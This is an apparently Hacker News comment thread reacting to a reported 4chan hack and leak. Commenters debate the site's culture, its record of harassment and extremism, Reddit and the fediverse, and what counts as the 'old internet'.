/g/ genuinely was one of the worst boards on the website, but there were a handful of lurkers who made good posts in some of the general threads. the site as a whole was still was a diverse place up until yesterday, with only a few boards being unusably bad, and it was getting increasingly better.
it's a bit sad really. zero-barrier to entry, no login gates, no accounts, and traffic was so high that it moved really fast. it was like a dive bar covered in grime. will be sad to see it go. none of the other imageboards still kicking are quite the same, most are even worse tbh.
I guess the thing that really changed is our tolerance for bad actors. As far as I'm concerned even a 99% signal-to-noise ratio is unacceptable if the 1% represents a contingent of determinedly obnoxious and hateful people, and 4chan was never anywhere close to 99% signal.
Nah, the board culture really did change in the last 7 years. In a past that's not too distant nobody was obsessed with trans folk. That's not to say there weren't vulgarities and unpleasantries, but there was definitely a substantial IQ drop somewhere around 2018 and 2019. I haven't seen the "Install Gentoo" meme in a while, the old board culture was basically replaced with cringe fringe zoomerisms.
ive always wondered, is there a way to use technology on a board style wesbite to enforce a higher quality culture? i toyed with the idea of requiring an org email similar to Blind except it could be a school email too, the hope being that after verification you are fully anon still just now with write privileges and that it would somehow lead to better quality discussions and engagements
Aka how Facebook originally launched (.edu-only)
Social network culture is a multipart problem:
Any system that creates the above will be successful.The rub is that the humans behind (1) are free agents, with little incentive to stick to the site once (2) fails.
Hence rapid Digg-style collapses from site owners who don't realize how tenuous their community quality is.
I would say that reddit quality has declined a huge amount, but people won't leave because there's a huge network effect. Nobody will join a reddit clone that is 95% functionally the same because there's nobody there. Every community that tried to migrate off reddit to a reddit clone has failed.
As an example of why reddit is so bad now (aside from the obvious moderation issues) about 1-2 years ago, reddit added a block feature that stops you from replying to any comment the blocker made and even any comment somebody else made below them.
So pretending this is reddit, I could make this reply saying that you are wrong and then say you have no evidence for your claims. Then I could immediately block you, making it look like you have no response. You are also not allowed to edit any of your comments saying you got blocked or else it will shadow delete that comment.
I have personally witnessed this abuse 5 times in the past few months and I don't even use reddit that much.
Every community that tried to migrate off reddit to a reddit clone has failed.
r/drama spun off their own site successfully, and I know of another community that did and is thriving using a fork of r/drama's server software (won't say which to keep the normies away)
Is there any evidence that most of Reddit is actually real people (paid shills and bots don't count)?
reddit may have shills and bots but even if they were 90% of the population, they still have way more users than anything like voat, saidit, etc...
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>Aka how Facebook originally launched (.edu-only)
Similarly, I've heard it said that Usenet should never have allowed non-.edu posts.
You forgot problem 4: You need to provide your VC ownership a profitable exit.
This plays off problem 3. Growth-focused social media platforms don't want to remove anything but the noisiest noise, because there's still a pair of monetizable eyeballs behind most sources of noise. In fact, if you can be particularly noisy, you generate drama, which makes the platform emotionally salient and thus stickier.
How this applies to 4chan is vague since 4chan isn't exactly a growth platform. Moot's VC ownership was his mom's credit card[0] and his exit was "panic selling to hiroyuki because Hollywood actors' lawyers are breathing down my neck". Hiroyuki himself is incredibly sketchy. As far as I can tell, he bought 4chan mainly because 2channel got rugpulled by his domain registrar[1], after 2channel also had a massive data breach. Funny how history repeats.
Anyway, imageboard ownership being a fractal mirror of the incestuous bullshit going on in big tech and far-right politics aside, once a social network or forum becomes big enough to be 'known', it tends to stick, because moving off those platforms is a collective action problem. So between you holding your friends mutually hostage and the drama from letting the dumbest idiots post on your site, you've created a powerfully addictive socialization substitute that can be manipulated to make people do whatever. Quality posters and value don't matter; in fact, once you're established you want the quality level to go down.
Digg collapsed because they replaced the entire website with something completely different. They didn't fail to moderate the community, they just shut it down. It'd be like if tomorrow Facebook said "we're not doing user posts anymore, we're just going to have a bunch of comment sections for videos from legacy media outfits". Everyone would leave immediately because there's no more mutual-hostage-taking by your friends.
[0] This is not to be confused with Canvas, a similar imageboard platform also started by Moot that lasted like a year.
[1] If you believe the guy who stole the domain, the data breach rendered 2channel unable to pay domain hosting fees. That being said, the guy who stole the domain is also the owner of 8chan and a huge QAnon nutter, if not Q himself, and stealing your client's website because they ran out of money is an extremely malicious move.
As far as anyone knows, hiroyuki got the money to buy 4chan from Good Smile Company. Yes, the people who made Nendoroids.
Time limit for a reply. If you could only reply once in a 20 minutes, that wouldn't hinder most thoughtful users, but for user that are quick to draw a reply it's a detterenr.
Autoadmit is a message board that required .edu to register and ended up with a pretty similar culture (though with an older userbase given the initial focus on law school admissions)
Yeah, after 2015 it became impossible to go to any of the boards if you weren’t a pol poster. They made it their mission to spread their vile shit everywhere.
Meh, /pol/ leaks but people also gets called out for it all the time. Overall I'd say containment style moderation like the one 4chan has works pretty well if you're looking to host "discussion" of a wide varity of topics.
It’s not a terrible theory. You could argue that other websites banning their containment communities caused a spillover effect into the wider internet as well.
Gamergate and Donald Trump was a 4-6 year period depending on where you put the needle. There were 10 years before it and now close to 5 years after it. The people who continue to hammer about it are just announcing that they don't understand the site and are complaining about ancient history. The most popular board right now is the video game generals board, and second place belongs to the regular video games board.
The site was markedly different before and after those events. /pol/ didn't exist before those events and aggressive alt-right rants didn't constantly leak into every other board from it (and get treated with kid gloves or be allowed by mods, who were specifically instructed to do so).
Let me be bold: transphobia is counter-culture nowadays (at least in Western societies). Counter-culture is not always a good thing.
There is no counter-culture anymore, not really. Society is virtually balkanized.
> Let me be bold: transphobia is counter-culture nowadays
No it's not. It's as mainstream as you get. One of the two major parties ran explicitly on a platform of transphobia ("keep men out of women's bathroom", "your daughter is being beaten up in sports by a man"). You can't call it counter-culture anymore.
I think it's difficult to label "majority" culture when most things are split 50/50.
Counter-culture feels like it requires at least an 80/20 or so.
Transphobia has been a majority cultural view throughout every culture based on the Abrahamic religions and their strict patriarchal hierarchies. Even given that the nature of gender roles change over time, and concepts like "homosexuality", "heterosexuality" and "transgender" being modern inventions, transgressing those roles has almost always been taboo.
Memoryholing the four years of the Biden administration.
No, not really. The "groomer" panic took place during the Biden years, with plenty of states passing anti-trans legislation and banning pro-trans books from libraries. The Biden administration did not reverse the widespread cultural hatred, discrimination and violence against trans people in the US in any meaningful sense. And it's honestly weird that you would think it even could have, given where we are now politically.
It’s two different cultures, one of which is more dominant, or was during the Biden years. As always, only the dominant culture matters culturally.
The premise that during the Biden years transgender culture was the dominant culture in America is just plainly ridiculous, as is the implication that only transgender identity mattered, culturally, during those years. Again, these were the years when transphobia began to mainstream and become codified into legislation and "antiwoke" and "anti-DEI" culture. It was never dominant, it only just started to become visible enough to really piss people off (similar to gay culture in the 1980s.)
Not transgender culture but elite coastal liberal culture.
Joe Biden was saying he had the back of Trans people in his State of the Union Address, trans kids especially. His white House was holding Transgender day of visibility and tweeting about transgender issues His Department of Education Secretary was anything but transphobic
I feel too many people conflate /pol/ with the whole website.
I believe that's fair. Sure, it's "a different board" but it's just another URL on the same domain and same administrator, just different janitors. So it is really the part of the whole website. I know that 99% of people on 4chan disagree with me because they do not wish to be associated with /pol/ /b/ /gif/ but if they wanted to disassociate themselves with those boards then they should be on an entirely different domain without 4chan in name. polchan perhaps.
Do people also treat Reddit the same way?
They do not. Reddit is a big corporate social media site and largely gets a pass in online discourse despite the horrible communities that do and have existed there.
I don't know. I've never created an account there. In it's early days it just seemed like they were trying to make a platform that could be monetized some day so I never bothered. I assumed incorrectly that it would just fade away.
If that is the case that might explain why so many on 4chan feel that different URL's are different sites. Most of the current members seemed to have shown up from Reddit. Most of the original members grew up and left, myself excluded. I still visit from time to time but don't stick around long as most threads and posters are obviously just 4chan-GPT and people being tricked into replying to it.
There are certainly overlapping circles between Reddit, 4chan and HN. 4chan people talk about and make fun of members of this site all the time. They also make fun of Reddit but don't seem to call out specific people on it.
The take on 4chan on here is super intriguing. I always felt that the current social media/doomscroll/memesharing landscape which has become so common worldwide is indiscernable and in some ways worse than 4chan. It feels like 4chan left it's homepage and went worldwide sometime in the early 2010s when iPhone-style phone use became more commonplace.
I remember that 4chan users had more honor than users on the internet today. One example would be 4Chan's "Not your personal army" mentality vs. the widespread doxxing/"call their place of employment!" witch hunts, driven by huge accounts on IG/Tiktok/etc, that hit normal people daily.
The modern social media landscape has become far more hectic, harmful, and downright scary than 4chan. Dodging explicit imagery is harder on Instagram's explore page than on 4chan, and the widespread popularization of OF creators has zero bounds across the socials. DOXXING is no longer frowned upon and now commonplace. And memes have become less unique and funny and more commoditized.
> 4Chan's "Not your personal army" mentality vs. the widespread doxxing/"call their place of employment!" witch hunts
That's too generous. "Not your personal army" started because 4chan had a well-earned reputation for harassment - usually raiding other web sites, but often targeting individual people who caught their attention for one reason or another.
The "not your personal army" slogan came about because people who were very aware of this reputation were showing up, hoping to make a web site or person they disliked the next target. That got annoying fast, hence they told those people to go away.
It wasn't a moral stance against target harassment - far from it. It was a stance that the group mind will choose the next target when they feel like it - not because some rando is mad at their ex or something
"Not your personal army" goes father then not doxxing. It's a rejection of any attempt to imagine a community of strangers, united by hatred of a scapegoat.
If someone rallied a hate-mob on 4chan, though, how would people know?
Since 4chan overtly resists it, it'd rapidly move off of there, but it's still a great place to find like-minded folks that'd follow someone to another server to go brigade someone.
4chan has always claimed to resist it, but 4chan was never immune to being shuffled a specific way.
Right, “not your personal army” was a quick way to decline to advance whatever doxx was being requested at that moment. Not an actual ethos. They regularly doxxed and swatted all sorts of people.
Immune is the extreme.
"claimed to resist but hasn't been immune" is reduction to absurd.
So "not your personal army" == don't be a journalist?
No it was a stock response to proposals for board/site raids from people who had lost an argument or been banned and wanted to retaliate (but without offering comedy potential). Kinda like when corporate people discovered flash mobs and tried to use them for free marketing.
My main problem with 4chan is how they talk, like the language they use. They really don't care about anyone's feelings and show a lack of empathy. Unfortunately this has been spreading to other social media as well.
Imagine how good a place it could have been if people over there talked like people on HN.
modern 4chan has a certain authentic charm to it. this is missing from most other places. you have to sift past loads of junk to get it, but you have to do that on any app to get the content you want.
with no names, likes, virality, accounts, etc there’s less focus on writing the basic filler comments. less companies trying to sell me stuff. less focus groups trying to tell me what to think. and with less censorship you end up seeing more creativity
Isn't that the path that most platforms follow once they get mildly popular?
Multiple white supremacist mass shooter have been 4chan users and they cheered on the Buffalo shooter who was live updating during his murder spree: https://www.thetrace.org/newsletter/4chan-moderation-buffalo...
The christchurch shooter was a 4chan regular https://theconversation.com/christchurch-terrorist-discussed...
The whole "boogaloo" white nationalist/supremacist movement started on 4chan:
https://www.splcenter.org/resources/reports/mcinnes-molyneux...
"Not your personal army" but 4chan users would routinely dox, swat, and otherwise harass people all the time.
I have no idea why people are whitewashing 4chan so hard.
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If you lamented the disappearance of the "old internet", well, this was a part of it, and now it may be gone too.
The title is also a fair bit understated.
They're leaking the moderators home addresses and work contact info (for admins, who are(were?) paid moderators)
I think we can lament the old internet and still care nothing for 4chan.
You can but I think it would make you quite dull
Like it or not, 4chan was a major hub of Internet culture. Especially early on some of the best stuff on the internet happened on 4chan (and a good chunk of the worst, of course)
4chan was founded in 2003. I think reasonable people probably disagree on what constitutes the “early” internet and this is where the argument is. Google had been around for 5 years by this point and I (and I suspect many others) remained blissfully unaware of 4chan for a long time after 2003.
Regardless of date bracketing, I can miss 80's punk and not miss slam dancing.
Maybe someone can list some positive internet culture we got from 4chan that I am overlooking.
This is like saying death metal isn't upbeat music and therefore nothing of value is lost by censoring it. Why does 4chan have to be positive culture to be considered valuable culture?
There's a big difference between "upbeat music" and "positive culture".
"Positive" in this sense isn't being used to mean "optimistic" or "happy". It's being used to mean "healthy for the world at large".
Regardless of whether any of us agree that 4chan was a net-negative, it should be very clear that "music that doesn't have an upbeat sound or themes" is not inherently unhealthy, but "subcultures that are unhealthy for the world at large" definitionally are.
https://www.4chan.org/
You're dismissing the entire site for a handful of events? How is 4chan unhealthy for the world, at large? It was and is a counterculture for discussing life as seen by its members.
They definitely have a PR issue then. Because of the handful of events, I've never been interested in hanging out there.
From some of the comments though, there might have been nice boards I would have enjoyed.
HN works for me though. (I can only spread myself so thin.)
I'm not. I'm responding to the specific exchange between you and JKCalhoun. They implied that they didn't know of any positive culture from 4chan, and you took a sharp left turn by misusing "positive"—taking a different meaning of it and comparing that against death metal music, rather than engaging with the actual meaning of what JKCalhoun had said.
I was simply helping to clarify the semantic issue at hand. I don't have enough personal knowledge of 4chan to pass judgement on it one way or another.
> How is 4chan unhealthy for the world, at large?
If you’re interested in research, the summary of controversies and harassment incidents that were worthy of the 4chan Wikipedia page(1) is over 2,000 words long and links to seven other separate Wikipedia entries, and may be a good start.
Also it is very funny that this thread seems to be multiple different posters here insisting that the user JKCalhoun is wrong for not being a fan of 4chan and that personal opinion is somehow ahistorical and in need of correction. Like the goal here is to make that person post “You guys are right I actually like that website now” ?
https://en.m.wikipedia.org/wiki/4chan
I think the responses would’ve been different if he had made a personal statement rather than a general statement.
What post was that?
https://news.ycombinator.com/item?id=43691576
This makes sense. This post that begins with “I think” wasn’t a personal statement of opinion but rather an objective one becau
Are there no big list of memes on 4chan? If you took an intersection of that and list of memes in general, you should be able to derive a list and statistical summary figures for internet culture you've got from 4chan.
4chan is widely known for /b/ but it had and has much more than /b. /b was always known for its murk.
Each chan sub category tended to their own niche community and rivalry was little.
/f/ in its hayday was a wonderful creative group for Flash animations and with existent of NewGrounds made the internet fun. It's how I learnt flash and how YTMND came to be.
That reminds me of this classic animation: 4chan city [0]. Which is based on a 2ch animation Nightmare City [1].
[0] https://www.youtube.com/watch?v=Ar4WzQ7KHak
[1] https://www.youtube.com/watch?v=Wjdi7a6L_78
/g/ has a daily programming thread. I remember the SerenityOS developer used to post webm demos there. I remember seeing plenty of cool stuff.
Someone on /vr/ once started a thread about SNES homebrew and actually made a /vr/ themed one. I wonder what happened to that guy.
/dpt/ was where i did a good deal of my learning during university, and the constant /g/entoo posting taught me far more about Linux than I would have learned on my own or through uni.
/g/entoomen taught me a lot about Linux too. The desktop and home server threads also have a lot of gold, people put a lot of effort into their systems. There are even Lisp generals. I remember people attempting the advent of code together and posting progress. There was one person who used a lot of Unicode in the source code.
Just yesterday I saw a rather interesting discussion about WD HDD internals and possible ways to figure out whether they are SMR drives. Shame this hack cut it short.
/tg/ had some seriously good chess players.
There's a board for everything. People see 4chan and think everything is /pol/. If anything, it's /a/. People have been arguing over which waifu is best girl for 20 years. 20 years.
If you go look at Andreas’ old videos from 5-6 years ago you can see early versions of Serenity had some sort of shortcut or app specifically for 4chan, with the clover icon and everything.
There’s actually a number of projects that started this way though I don’t know of any that grew up to be as charming and interesting as Serenity OS. Katawa Shoujo is one, though I could definitely see people complaining about the games content. The Tox encrypted messenger is one but I’m not sure that ever went anywhere.
I think most of them, like Andreas, dropped the association with 4chan pretty soon after the project started to gain real traction.
I remember seeing maybe two other operating system projects on /g/dpt/, they didn't reach significant maturity but managed to animate some graphics on the screen. I remember seeing a bullet hell game engine written in lisp, I think it was called gnumako or something along those lines.
This was around 10 years ago...
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I might be giving 4chan too much credit but I think in your analogy it’s more akin to 80’s punk (broad subculture) than slam dancing (specific cultural phenomenon).
The way I see it, I lost interest in 4chan because I grew up and became an adult, and so did most of the Internet. We can look back and appreciate our childhood overall while also cringing at the embarrassing parts. 4chan has a lot of both good and bad memories for me and I think the broader Internet as well.
I guess then I'm showing my age. I was already beginning 40 years of age when 4chan became a thing.
4chan: Because even Something Awful had some kind of flawed moral compass
Funny. The moral compass of most people on the internet tends to be disordered enough to make me think Something Awful must have been truly horrific.
For far too many people "I have a moral compass" seems to mean "I don't even have the self-awareness to realize what I'm doing is evil".
So did 4chan, god help you if you abused a cat
There are some things not even Doom music can fix.
You seem to be confusing 4chan (chaotic good) with kiwifarms aka the farms, the true evil descendant of Something Awful (which was chaotic neutral).
I think that's simply which generation is talking. I'm an average (oldish?) millenial and 2003 is about that sweet spot of when I cut my teeth on the web. I was online before getting my butt kicked by koreans on starcraft but I can find old posts of mine starting in those early 2000s.
I think anything before Frutiger Aero became popular (and it didn't in 2003) can be considered "early" Internet.
Early Internet is before the Web was its main thing.
Early Web is before most netizens (remember that?) had ever heard or seen the term "blog", and much of the web was folks' "home pages" on whatever weird topic they were interested in (some were effectively "blogging", but that wasn't a term yet—"web log" might see limited use). This was the Nerd Web.
Mid-period is from the rise of "blog" to the rise of the smartphone, Google capitulating in the never-ending war on spammers and ruining itself instead, and Facebook coming about. Roughly '08 would be the end of this period. Call this the Macromedia Flash Web, perhaps.
Everything since that is the Late, or Hellscape, Web, an age dominated to an extreme degree by spam, scams, ads, astroturfing, and absolute insanity becoming normalized and spilling over into real life. This is the part that made it clear we'd have been better off never inventing any of this.
I hope you realize the irony of picking an arbitrary OS theme, something that has no correlation to the Internet in any way, as a meaningful point in the history of the Internet.
As I said it’s all arbitrary. I might pick the time around Google’s founding as the early Internet, others might pick Yahoo, others might pick anything before eternal September.
You're trying to argue that 2003 isn't the early Internet. Seems like you're trying to have your "Ackchyually..." moment right now because you didn't know 4chan existed.
No, I’m saying the Internet was already in mass adoption for the preceding decade. Talk to old timers and they’ll reminisce that the early days of the internet were great until Eternal September in 93. Others will reminisce about the days of BBS. I’m saying “early internet” is a relative term that has more to do with the person interpreting than any objective definition.
I put the start of the mainstreaming of the internet in July 1993, the month a cartoon was published in the New Yorker captioned, "On the Internet, nobody knows you're a dog": https://en.wikipedia.org/wiki/On_the_Internet,_nobody_knows_...
Before then, it was quite unusual to see coverage of the internet by the mainstream press (and what coverage I saw took a theoretical or "far" view, i.e., as part of a discussion of governmental policy). After then, coverage exploded.
This is an American perspective: the timing was probably different in other countries.
2003 was after the dot com boom and crash. There is no possible definition of "early Internet" that can include 2003.
It's clearly when AOL started offering a monthly subscription for unlimited Internet usage.
Frutiger Aero didn’t exist before 2017.
It did since at least 2004[1].
[1] - https://yenimedya.aydin.edu.tr/wp-content/uploads/2024/10/3....
That’s dated 2023… am I missing something? The aesthetic did not exist in 2004. It was created in the late 2010s by juxtaposing materials from the early 2000s. This created a new style from old materials. The same way you might combine art deco motifs in new ways in the 1980s, inventing “art deco revival”.
> "The aesthetic did not exist in 2004"
Well, this research states that "Between 2004 and 2013, Frutiger Aero was influential in advertising, media, stock images, cinema, gaming, and spatial design". That's page 4.
There’s no justification given or source cited. You can’t just dig up a paper somebody wrote that agrees with you—you have to actually read the paper to understand what it says and what support it gives to that position.
I see NO support for this position. No reasoning, no primary sources, no secondary sources, not even the personal experiences of the author.
I have not seen any evidence that Frutiger Aero existed before 2017, and 2017 seems like the most likely creation date to me. That’s when it was created, by combining materials from the 2000s in new ways. Call it “bricolage”, perhaps.
Addenda: if you scroll through Google Image search results for Frutiger Aero, you’ll see what looks to me like an obvious lack of actual materials from the 2000s. I see a screenshot of Windows XP, a screenshot of the Nintendo Wii home screen. Maybe a few other random screenshots of apps or web sites. As far as I can tell, Frutiger Aero was invented by taking these few materials and extrapolating a whole aesthetic movements out of it. I see a lot of artwork dated from the 2020s labeled as Frutiger Aero—that’s the true nexus of the aesthetic, Gen Z adults recreating a half-remembered image from their childhoods. Which is fine. It’s just not from 2004. Like how Vaporwave is not actually from the 1990s or 1980s, Vaporwave is from the mid-2010s. I love Vaporwave, but I know that it’s not from the past; it’s a modern remix of elements from the past.
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“Trying way too hard” means “I don’t have anything material to add to the discussion, I just want to mock you for even caring about this.”
Jeezus. Don’t write comments like that. It’s inappropriate.
r9k is the origin of a huge amount of modern youth culture and slang. The obsessive vanity and "looksmaxxing" and all the associated terminology comes directly out of the incel culture on that board. It is extremely mainstream now.
Yup, ytmnd predates it a couple year.
Many of the popular internet terms start on 4chan, and then move to reddit and the rest of the internet, and then eventually mainstream news, and 65 year olds mouths. This process takes about 3-5 years.
It's so funny to read this.
I've been involved in "internet culture" since the early to mid 90s.
The only thing that I heard about that ever came out of 4chan was toxicity.
That's crazy. The whole "dank memes" thing and terms like based, boomer, wojak, and soy are all from channer culture. 4chan managed to brand gen Z as the "zoomer" generation. Its cultural pervasiveness is impossibly deep.
early belongs to slashdot
Early belongs to Usenet.
Small pedantic correction: “major hub of Internet culture” is “major subculture in English-speaking segment of Internet” (American segment?). In many other languages it was irrelevant.
4chan culture itself is derived from polish, finnish and japanese imageboard culture and 4chan has always had a large international userbase.
I’m sure it had. It doesn’t mean it had equivalent influence. In many places people won’t name it in their top 10 cultural phenomena of Internet of that period even if they would remember it, which is far from guaranteed.
Why? I am not pleased with the government forced pills such as TikTok, Twitter and other such shite shoved down my throat.
You may enjoy the walled garden, I for one don't. Such sites gave you a hole to get away from the dystopian view that these gardens hold.
They gave independence away from forced control.
> "shoved down my throat."
Who shoves it down someone's throat though? I can't remember the last time I used tiktok, probably 3 or 4 years ago, and I don't feel like anyone forces me to.
The American government is actively working to move its communication exclusively to Twitter.[0]
[0] https://www.wired.com/story/social-security-administration-r...
Vendors. Mobile phone providers, Television companies, News Corporations, Advertising companies.
I am locked out from viewing reading groups unless I have a facebook account. I can't even read reviews on Amazon without a Amazon account.
You do have the choice not to view, watch or use. And if you desire to create your own site for "social media" the uphill battle is so greatly regulated in their honour you can't due to not having the resources to do so.
Have you read the new UK rule sheet for internet websites?
How many sites do I visit where I get a Google popup asking if I want to sign in?
Stack-overflow does this, Reddit does too.
> "But if you desire to create your own site for social media the uphill battle is so great regulated in their honour, it's not possible."
Fediverse exists quite successfully.
You mean an open-twitter clone that caters to a very niche set of individuals? A complex system to work with.
I hate the whole gimmick of 150 character messages. That's not independent like the web was once.
Discord makes you pay to upload videos, sounds and those were all existing on MSN, Yahoo, A!M for free.
Everyone at my school knew of NewsGrounds, mySpace, BeBo, LiveJournal. Me and my friends had hosted ProBoards forums where we used to discuss stuff. You can't even do that according to the new Ofcom laws.
> "You mean an open-twitter clone that caters to a very niche set of individuals?"
It's not just one instance and not even one frontend existing for what can be described as "fediverse". Decentralization is the whole point.
> "a very niche set of individuals?"
Everything depends on the instance you're using. Some of them, like mastodon.social, are very active, others are not.
> "I hate the whole gimmick of 150 character messages"
Find a better instance. On the one I use it's 2k characters limit.
> "That's not independent web like it was."
Yes, because it's a whole new level of independence. NewGrounds, Myspace and everything you mentioned are centralized platforms, which is practically vendor lock-in, because you're dependent on just one vendor for everything you do on these platforms, while on fediverse, you aren't. Instances are completely (except for showing posts from one another) independent from each other - there's no central "authority" controlling all of them like there would be on a centralized platform. Thousands of them exist for every frontend imaginable, and you can create one yourself.
It's incredibly easy to just not use those websites. My throat remains surprisingly clear with no effort.
It actually isn't, have you ever tried attending any real life function? An account with Meta is almost a requirement to even get in the door.
Thats insane. I have never been carded for a meta account IRL.
Uh, yes? What kind of functions are you trying to attend? If you go to C3 and show people your Facebook account, you will rightfully be mocked (unless it's an admin account you're not supposed to have).
You better believe 4chan is as much of a government space as those other social media sites are. Just because you don't have to give three forms of ID and a mobile phone number to post doesn't mean they're not involved.
It's an illusion, a very believable one in an internet where billionaires try to goad you to include your name and address with every thing you post. I don't see why people care so much about Doxxing when every social media company makes them do it for free.
I'd hardly call it the "old internet". It is very niche, and has not been around that long really - like what 2003 or something? Nothing compared to e.g. Geocities which was early-mid 90s IIRC which I'd argue had more relevance to people than 4chan.
"Old Internet" doesn't have a very defined meaning, but I think it has more to do with design and functionality than a hard date. While I don't think relevance matters, 4chan is much more relevant than you think. Having a niche is part of the old Internet. Websites used to be niche, but deep, instead of websites like Wikipedia, which are broad and shallow (compare the Castlevania dungeon [0] to the Wikipedia article for Castlevania, for example). Then compare 4chan's limited number of boards with reddit's endless subs. 4chan's design is early web 2.0, doesn't require you create an account, allows (pseudo) anonymous posting, content is mostly unfiltered, unmonetized, free & thought of as ephemeral, etc.
0 - https://castlevaniadungeon.net/dungeon.html
This is the dumbest nitpick, but:
> 4chan's design is early web 2.0
Web 2.0 (even early) was very JS heavy, coming down from the advent of Mootools/Prototype/etc and had a very specific visual design sense.
4chan is easily the last of the Web 1.0 sites, probably up there with Craigslist. They very much "just fucking work".
> 4chan's design is early web 2.0, doesn't require you create an account, allows (pseudo) anonymous posting, content is mostly unfiltered, unmonetized, free & thought of as ephemeral, etc.
That is hardly unique. There are any number of phpbb (and other) boards that allow mostly the same that were/are/will continue to be the same. The only difference is the clientele and noteriaty, but I'd argue 4chan is basically the same thing as somethingawful is/was in that regard. People act like 4chan was this ground-breaking thing but it was just one of many many similar boards.
Also for 4chan, you'd only go to 4chan to go to 4chan. People went to geocities and xoom and angelfire and all the other old internet things for niche website content from individuals, not because of the site that hosted it. It's like going to a bar to chat vs going to a library to study: going to the bar/4chan is an undeniable part of the culture, but let's not pretend it is anything significantly different amongst a constellation of other chat/forum sites (somethingawful, fark, ebaumsworld, discord, IRC etc etc etc)
The point wasn't about if 4chan is unique.
Exactly.
"Pre Dot Com Bust" is a pretty good definition for "Old Internet".
Geocities was going strong in the late 90's too! My first homepage was hosted there on Tokyo Towers.
Side note: When you google "Geocities" the results are in comic sans
22 years is old. Nobody knows what geocities is, it has no relevance. It’s like talking about brands of telegraph wire.
Geocities was the place to create and visit homepages for a large percentage of people using the internet in the 90s. You can see its influence in games such as Hypnospace Outlaw and modern hosts like Neocities.
Hypnospace outlaw and neocities, both even less known lol
What are the most popular games on Steam that focus on interacting with a 4chan-like website?
There are none because people can just go on 4chan and post.
It is not very niche at all. 4chan served a gigantic volume of traffic.
Web 2.0 and before is now considered the old internet.
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Isn't it a running joke that the Jannies don't get paid?
I'm reliably informed they do it for free.
> Isn't it a running joke that the Jannies don't get paid?
You're think about reddit and why it is the way it is from an editorial perspective and what kind of people have the time to mods 100+ subs for free...
But that ceased to be true long ago. While some of the supermods aren't paid by reddit directly, they might be paid by other orgs to mod and influence reddit, corporate or 'grass root'...
Some others simply hijack subs to sell their own products.
Go back.
The joke on 4chins actually is that the Jannies do it for free. Never cared to fact check it, but it is a popular saying.
Also sage in all fields
What does Reddit have to do with this?
"Jannies" (janitors) are pseduo-mods on 4chan (the subject of the linked thread) who clean up posts and do other work, for free. Actual 4chan mods are paid.
Was part of it. As somebody who has been trapped there since 2004, I'd say it evolved into a part of the normal internet between 2010 and 2016 (i.e. it had already fully transformed before Trump's first term), where "normal internet" means being infested with uncle-on-Facebook-tier political posts, "jokes" where the punchline is "I hate my political enemies", etc. Creative irreverence was replaced with regular childishness.
Mostly because, as more people came online, they mistook offensive humor for conservatism; and thought "counter-culture" meant "being opposed to the political party currently in power", rather than "being opposed to political parties".
Considering that the people posting this "creative irreverence" were the same guys calling you a "stupid f*gg*t n*gger piece of sh*t" on Halo 2/3 and CS when they got noscoped from across the map or whatever, "It's just a joke" has always been somewhat suspect. It would be wrong to say that there was no element of tongue-in-cheek-iness and hyperbole, of course. It just wasn't completely innocent, broadly speaking.
Of course, in a post-Bioshock Infinite world, there's really no excuse for not grokking how time and distance from the origins of a cultural behavior pattern can warp even well-meaning notions that aren't regularly re-examined and tuned to align the intention with the zeitgeist. If the Sarah Silverman-esque posters ever looked up and realized, "Oh, they don't know it's a joke, they're ACTUALLY Nazis," it was too late to shift things back. (Unless you were in a Boondocks thread on /co/, in which case correction was freely forthcoming.)
Probably didn't help that at least one mod wanted 4chan to become more racist, on purpose.
> mistook offensive humor for conservatism
Something happened in the post-2010 times along with the Tea Party, and offensive humor - especially overt racism - became a mainstream part of conservativism, all the way to the White House.
> "jokes" where the punchline is "I hate my political enemies"
Hence the laughter in the White House at refusing to follow the court order to return their political enemies from the overseas prison.
4chan may have died, but Trump is more the first 4chan President than Howard Dean was the first "internet candidate", and especially Musk the Twitter Presidential Vizir is the heir to this culture.
Incredibly spot-on and well-put.
I grew up on IRC, had sites on Geocities and Angelfire. That was the old internet people miss, not 4chan.
Is it considered part of it? From my understanding, the culture has changed significantly and post get auto deleted eventually, so it’s not a good archive either. The only thing old about it is it’s web design
the mechanics are old
there's no other online community i know of that still allows fully anonymous posting
the culture changed, but the "environment" causing the culture there to be the way it is still same as the original.
the bump/delete mechanics work well to promote the most controversial, most engaging content, without any advanced statistics or ML.
despite being a shitty place, i don't feel advertised to, spied or in any way abused _by the software itself_ while browsing it
Posting on 4chan just kept becoming increasingly user hostile, especially for casual users, you had to be really determined to post something: posts started requiring 24 hour email verification, and after that you had to wait ~10 minutes before being allowed to post, and finally you had to complete a nearly impossible captcha which could lock you out from posting for an undetermined amount of time just for failing. It became apparent that the owners were pushing the gold pass pretty damn hard, and it's advertised on literally every board page.
That’s true. The captcha is impossible without the 4chan pass.
soj.ooO [1] which is similar on the other hand doesn’t have the captcha.
[1] https://soj.ooO
Not sure what this random unknown website has to do with 4chan. It's similar only insofar as both things let you post. Soj requires a sign-up so no anon posting at all, and the community structure is a pretty clear rip-off of Reddit with /p/[sub] instead of /r/[sub]
What is your affiliation with it?
https://news.ycombinator.com/threads?id=rasengan shows some previous shilling, FWIW.
> there's no other online community i know of that still allows fully anonymous posting
Doesn't 8chan/kun still exist?
> there's no other online community i know of that still allows fully anonymous posting
Usenet?
It even has the issue of old posts disappearing when the retention at your UNIX system / ISP rolled over.
every board had it's own independent archiving service after a while, so board culture ended up stickier than the original design. there's some interesting stuff in there
Posts always got auto deleted. Maybe you aren't familiar with how it worked.
I haven't been there in like a decade but if nobody bumps your thread eventually your post falls off the last page and gets deleted no?
Yeah and if threads hit a certain reply count, they get bump locked.
But really, 4chan-style bullshit took over the rest of the internet. At least in the old internet, it was self contained there. If someone spouted nonsense they read on 4chan, you could easily dismiss them as a crank. Now everyone is posting and reposting bullshit on a multitude of microblogging shitsites.
Where do you see info about personal info?
I would presume Anon would which to remain anon.
4chan is not "old internet". Not even close. It's predated by a bunch of forums (including 2channel) on the Internet, some anonymous.
As far as image boards go, 4chan is the first successful (and longest surviving) English-speaking 2chan clone.
2chan is a japanese site.
The initial leaker is most likely not the same parties as the ones tying email addresses and usernames to people's "real identities", if you look at the thread where the leak was announced.
Say what you will about 4chan but I am concerned for the team managing it - them and their close ones are certainly going to be exposed to a whole lot of viciousness soon :(
> them and their close ones are certainly going to be exposed to a whole lot of viciousness soon
Isn't viciousness the notorious bread and butter of 4chan?
Most boards on 4chan, like the origami board, food and cooking, pets and animals, retro gaming, toys, etc are relatively harmless and are just a different way to participate in discussions than using discord or reddit.
